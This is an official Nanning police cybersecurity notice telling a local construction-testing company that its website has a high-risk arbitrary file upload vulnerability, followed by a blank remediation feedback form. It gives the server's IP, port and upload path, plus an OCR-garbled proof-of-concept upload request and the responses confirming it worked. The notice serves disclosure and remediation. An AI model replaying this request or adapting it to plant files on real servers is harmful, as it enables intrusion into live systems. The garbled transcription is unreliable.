

网络安全事件通报

（2024年第105期）

关于南宁市建测建设工程质量检测有限公司系统存在任意文件上传漏洞隐患的通报

南宁市建测建设工程质量检测有限公司：
工作发现，你单位网站存在任意文件上传漏洞，具体情况如下：
一、网络安全事件类型和等级
类型：任意文件上传漏洞
等级：高危
二、网络安全事件描述及影响
（一）任意文件上传漏洞
URL地址：
http://121.31.5.237:6060 /Applications/SkillDevelopAndEHS/123.txt
漏洞详情：
[image: ]
[image: ]
[bookmark: _GoBack][image: ]
三、处置建议
联系厂家升级版本，修复存在的漏洞补丁。
四、反馈要求
请你单位及时组织技术力量进行核实整改，于2024年1月29日前将处置情况填写《网络安全事件处置反馈表》（见附件）反馈至南宁市网络与信息安全信息通报中心（设在南宁市公安局网络安全保卫支队）。
联系人及电话：黎桂康，0771-2891525，2015109806@qq.com。

附件：网络安全事件处置反馈表

















南宁市网络与信息安全信息通报中心    2024年1月24日
附件
网络安全事件处置反馈表

	单位名称
（加盖公章）
	

	填报时间
	年    月    日

	事件来源
	《网络安全事件通报》2024年第   期

	网站名称
	
	编号
	
	网站域名
	

	网站IP
	
	隐患名称
	
	发现时间
	

	域名注册商
	
	域名注册时间
	
	注册人
	

	注册邮箱
	
	注册电话
	
	是否等保系统
	

	等保级别
	
	等保备案号
	
	网站隶属单位
	

	单位性质
	
	所属行业
	
	单位地址
	

	单位法人
	
	单位/法人联系电话
	
	服务器物理地址
	

	系统/软件版本
	
	管理员
	
	管理员电话
	

	系统研发单位
	
	系统研发时间
	
	安全服务商
	

	安全服务时间
	
	填表人
	
	联系电话
	

	主要硬件设备
	品牌
	型号
	固件版本
	操作系统

	路由器
	
	
	
	

	交换机
	
	
	
	

	服务器
	
	
	
	

	安全设备
	
	
	
	

	其他设备
	

	处置情况
	

	联系人
	
	职务
	

	联系方式
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POST- /Platform/System/FileUpload.ashx-HTTP/1.1
Host:+121.31.5.237:6060

3

User-Agent: Moz1l1a/5.0 (Macintosh; Intel Mac 05X 10 14 3)-AppleWebKit/605.1.

like- Gecko) -Version/12.0.3-Safari/665.1.15
Connection: -close

Content-Length 14336

Accept-Encoding: -gzip
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10
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13
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15

Content-Type: ‘multipart/form-data; - boundary=-- - -YsOxWxSvj1KyZow1PTshogfdusl

—————— YSOXkxSVi1KyZow1PTshogfduel
Content-Disposition:-form-data; -name="file";-filename="123.txt"
Content-Type: -image/png

777777 YSOXWXSVj1KyZow1lPTshogfdu6l
Content-Disposition: - form-data; name="target”

16
17
18

/Applications/skillDevelopAndEHS/
YSOXKxSVi1KyZowlPTshogfduel--

15+ (KHTML,

< oo CEEE

Responses  105bytes / 64ms =
1 HTTP/1.1-200- 0K
2 cache-Control:-private
3 Content-Type: -application/json; ‘charset=utf-8
a Server: -Microsoft-115/10.6
5 Set-Cookie: -ASP.NET_SessionId=ihr2rrci2ymedulnihcgrjsz; -path=/; -Httponly
SameSite=Lax
6  X-AspNet-Version:-4.0.30319
7 X-Powered-By: -ASP.NET
8  Access-Control-Allow-Origin: -*
9 Access-Control-Allow-Methods: - *
10 Access-Control-Allow-Headers: - Accept, -Origin, - Content-type,CrossDomain
11 Date:-Tue,-16-Jan-2024-15:41:11 GMT
12 Connection:close
13 Content-Length:-105
14
15 {"code":@,"msg":" {1k 2)", "data": "http://121.31.5.237:6060/Applications/

skillDevelopAndEHS/123.txt"}
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GET-/Applications/skillDevelopAndEHS/123.txt HTTP/1.1
Host: 121.31.5.237:6060

< h B <[> £ER%, Yaml Bt

Responses  5bytes / 6740ms. = B [}

1 HTTP/1.1:200 0K ImimtteiE121.31
r 2 content-Type: text/plain; - charset=utf-g BI1EL6740ms; AUERT:T0

3 Last-Modified:-Tue, 16-Jan-2024-15:41:11 GMT Lhttp://121.31.5.
4 Accept-Ranges:-bytes
5 ETag: "f576926e9248da1:0"
6 Server: -Microsoft-115/10.0
7 X-Powered-By: -ASP.NET
8  Access-Control-Allow-origin: -*
9 Access-Control-Allow-Methods: - *

10 Access-Control-Allow-Headers: -Accept, -Origin, -Content-type,CrossDomain

11 Date: Tue, 16-Jan-2024°15:41:52 'GMT

12 Content-Length: -5
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